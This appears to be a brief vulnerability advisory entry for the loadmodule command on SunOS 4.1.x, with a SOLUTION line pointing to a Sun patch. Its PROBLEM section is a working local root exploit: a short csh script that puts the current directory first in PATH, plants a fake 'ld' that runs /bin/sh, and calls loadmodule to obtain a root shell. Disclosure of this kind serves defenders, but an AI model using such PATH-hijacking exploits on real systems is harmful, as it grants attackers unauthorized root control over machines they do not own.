COMMAND

    loadmodule

SYSTEMS AFFECTED

    SunOs 4.1.x

PROBLEM

    The following exploit gives you root (what else!?).

        #!/bin/csh
        set path = ( . $path )
        cat > ld << EOF
        /bin/sh
        EOF
        chmod a+x ld
        loadmodule sd.o evqload

SOLUTION

    Apply the apropriate Sun patch.